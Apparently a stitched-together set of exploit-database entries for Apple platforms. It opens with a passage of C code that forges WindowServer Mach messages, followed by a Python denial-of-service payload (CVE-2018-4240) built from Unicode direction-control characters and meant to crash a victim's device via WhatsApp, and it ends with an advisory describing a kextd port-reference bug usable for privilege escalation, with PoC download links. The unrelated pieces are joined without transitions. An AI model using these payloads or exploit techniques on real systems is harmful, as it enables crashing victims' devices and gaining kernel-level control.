{
if (strcmp(sections[sect_i].sectname, "__text") != 0)
continue;
*text_address = (void *)(sections[sect_i].addr + _dyld_get_image_vmaddr_slide(i));
*text_size = sections[sect_i].size;
return 0;
}
}
}
fail:
return -1;
}
#pragma pack(push, 4)
typedef struct {
mach_msg_header_t header;
mach_msg_body_t body;
mach_msg_ool_descriptor_t ool_serialized_value;
NDR_record_t NDR_record;
uint64_t connection_id;
uint32_t key_len;
char key[128];
uint32_t serialized_value_length;
} CGSSetConnectionProperty_message_t;
#pragma pack(pop)
static mach_msg_return_t _CGSSetConnectionProperty(mach_port_t connection_port, int connection_id, const char *key_value, const void *serialized_value, uint32_t serialized_value_length, bool deallocate)
{
CGSSetConnectionProperty_message_t msg;
memset(&msg, 0, sizeof(msg));
msg.body.msgh_descriptor_count = 1;
msg.ool_serialized_value.type = MACH_MSG_OOL_DESCRIPTOR;
msg.ool_serialized_value.address = (void *)serialized_value;
msg.ool_serialized_value.size = serialized_value_length;
msg.ool_serialized_value.deallocate = deallocate;
msg.ool_serialized_value.copy = MACH_MSG_VIRTUAL_COPY;
msg.NDR_record = NDR_record;
msg.connection_id = connection_id;
strncpy(msg.key, key_value, sizeof(msg.key));
msg.key_len = 127;
msg.serialized_value_length = serialized_value_length;
msg.header.msgh_bits = MACH_MSGH_BITS (MACH_MSG_TYPE_COPY_SEND, 0) | MACH_MSGH_BITS_COMPLEX;
msg.header.msgh_remote_port = connection_port;
msg.header.msgh_id = 29398;
kern_return_t kr = mach_msg(&msg.header, MACH_SEND_MSG, sizeof(msg), 0, 0, 0, 0);
return kr;
}
#pragma pack(push, 4)
typedef struct {
mach_msg_header_t header;
mach_msg_body_t body;
mach_msg_ool_descriptor_t ool_serialized_value;
NDR_record_t NDR_record;
uint32_t serialized_value_length;
} CGSSetPerUserConfigurationData_message_t;
#pragma pack(pop)
#pragma pack(push, 4)
typedef struct {
mach_msg_header_t header;
NDR_record_t NDR_record;
uint64_t process_serial_number;
uint32_t connection_id;
} CGSSetAuxConn_message_t;
#pragma pack(pop)
static mach_msg_return_t _CGSSetAuxConn(uint32_t connection_id, ProcessSerialNumber *process_serial_number)
{
CGSSetAuxConn_message_t msg;
memset(&msg, 0, sizeof(msg));
msg.connection_id = connection_id;
msg.process_serial_number = *(uint64_t *)process_serial_number;
msg.NDR_record = NDR_record;
msg.header.msgh_bits = MACH_MSGH_BITS (MACH_MSG_TYPE_COPY_SEND, 0);
msg.header.msgh_remote_port = CGSGetConnectionPortById(connection_id);
msg.header.msgh_id = 29368;
return mach_msg(&msg.header, MACH_SEND_MSG, sizeof(msg), 0, 0, 0, 0);
}
#pragma pack(push, 4)
typedef struct {
mach_msg_header_t header;
NDR_record_t NDR_record;
ProcessSerialNumber sn;
uint32_t session_id;
uint32_t session_attributes;
uint32_t unknown_2;
uint32_t pid;
uint32_t padding_1;
uint32_t app_name_len;
char app_name[128];
char multi_process;
uint32_t connection_id;
uint32_t padding_2;
} CGSCreateApplication_message_t;
typedef struct {
mach_msg_header_t header;
NDR_record_t NDR_record;
kern_return_t retcode;
} CGSCreateApplication_reply_t;
#pragma pack(pop)
static mach_msg_return_t _CGSCreateApplication(uint32_t connection_id, ProcessSerialNumber sn, uint32_t session_id, uint32_t session_attributes, uint32_t unknown_2, pid_t pid, char *app_name, char multi_process, uint32_t sent_connection_id)
{
CGSCreateApplication_message_t msg;
memset(&msg, 0, sizeof(msg));
msg.connection_id = connection_id;
msg.sn = sn;
msg.session_id = session_id;
msg.session_attributes = session_attributes;
msg.unknown_2 = unknown_2;
msg.pid = pid;
strncpy(msg.app_name, app_name, sizeof(msg.app_name));
msg.app_name_len = 127;
msg.multi_process = multi_process;
msg.connection_id = sent_connection_id;
msg.NDR_record = NDR_record;
msg.header.msgh_bits = MACH_MSGH_BITS (MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_MAKE_SEND_ONCE);
msg.header.msgh_remote_port = CGSGetConnectionPortById(connection_id);
msg.header.msgh_id = 29507;
msg.header.msgh_local_port = mig_get_reply_port();
mach_msg_return_t kr = mach_msg(&msg.header, MACH_SEND_MSG|MACH_RCV_MSG, sizeof(msg), sizeof(msg), msg.header.msgh_local_port, 0, 0);
if (kr != KERN_SUCCESS)
{
switch (kr) {
case MACH_SEND_INVALID_DATA:
case MACH_SEND_INVALID_DEST:
case MACH_SEND_INVALID_HEADER:
mig_put_reply_port(msg.header.msgh_local_port);
break;
default:
mig_dealloc_reply_port(msg.header.msgh_local_port);
}
}
else
kr = ((CGSCreateApplication_reply_t *)&msg)->retcode;
return kr;
}
static void timed_log(char* format, ...)
{
char buffer[30];
struct tm* time_info;
time_t t = time(NULL);
time_info = localtime(&t);
strftime(buffer, 30, "%Y-%m-%d %H:%M:%S ", time_info);
fputs(buffer, stderr);
va_list args;
va_start(args, format);
vfprintf(stderr, format, args);
va_end(args);
}
# Download: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/46428.zip
# Exploit Title: Apple MacOS 10.13.4 - Denial of Service (PoC)
# Date: 2018-09-10
# Exploit Author: Sriram (@Sri_Hxor)
# Vendor Homepage: https://support.apple.com/en-in/HT208848
# Tested on: macOS High Sierra 10.13.4, iOS 11.3, tvOS 11.3, watchOS 4.3.0
# CVE : CVE-2018-4240 (2018)
# POC : https://medium.com/@thesriram/cold-war-between-single-message-vs-mbbs-d5e004d64eaf
# Crashing Phone via RLM character.
# Steps to Reproduce,
# Run the below python script as "python apple.py", it will create a file called "dos_apple.txt"
# Copy the text from the generated apple.txt
# Paste it in WhatsApp and send it, victim gotta click and it will start crashing
end = "‮ereh-hcuot-t'nod"
dos = "‎‏"
payload = dos*1000 + end
try:
f=open("dos_apple.txt","w")
print "[+] Creating %s DOS payload for apple..." % ((len(payload)-len(end))/len(dos))
f.write(payload)
f.close()
print "[+] File created!"
except:
print "Can't create a file, check DIR permissions?"
Here's a kextd method exposed via MIG (com.apple.KernelExtensionServer)
kern_return_t _kextmanager_unlock_kextload(
mach_port_t server,
mach_port_t client)
{
kern_return_t mig_result = KERN_FAILURE;
if (gClientUID != 0) {
OSKextLog(/* kext */ NULL,
kOSKextLogErrorLevel | kOSKextLogIPCFlag,
"Non-root kextutil doesn't need to lock/unlock.");
mig_result = KERN_SUCCESS;
goto finish;
}
if (client != (mach_port_t)dispatch_source_get_handle(_gKextutilLock)) {
OSKextLog(/* kext */ NULL,
kOSKextLogErrorLevel | kOSKextLogIPCFlag,
"%d not used to lock for kextutil.", client);
goto finish;
}
removeKextutilLock();
mig_result = KERN_SUCCESS;
finish:
// we don't need the extra send right added by MiG
mach_port_deallocate(mach_task_self(), client);
return mig_result;
}
If the client has UID 0 but passes an invalid client port this code will
drop a UREF on client port then return KERN_FAILURE.
Returning KERN_FAILURE in MIG means all resources will be released which will
cause client to be passed to mach_port_deallocate again, even though only
one UREF was taken.
You'll have to use a debugger attached to kextd to see this behaviour.
This class of bug is exploitable; please see the writeup for mach_portal from 2016
where I exploited a similar issue [https://bugs.chromium.org/p/project-zero/issues/detail?id=959]
The TL;DR is that an attacker can drop an extra UREF on any send rights in kextd for which the
attacker also has a send right; you could use this to cause a name for a privileged service
to be deallocated then cause the name to be reused to name a port you control.
Exploitation of this would be a privesc from unentitled root to root with
com.apple.rootless.kext-management and com.apple.rootless.storage.KernelExtensionManagement entitlements,
which at least last time I looked was equal to kernel code execution.
tested on MacOS 10.13.2
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44561.zip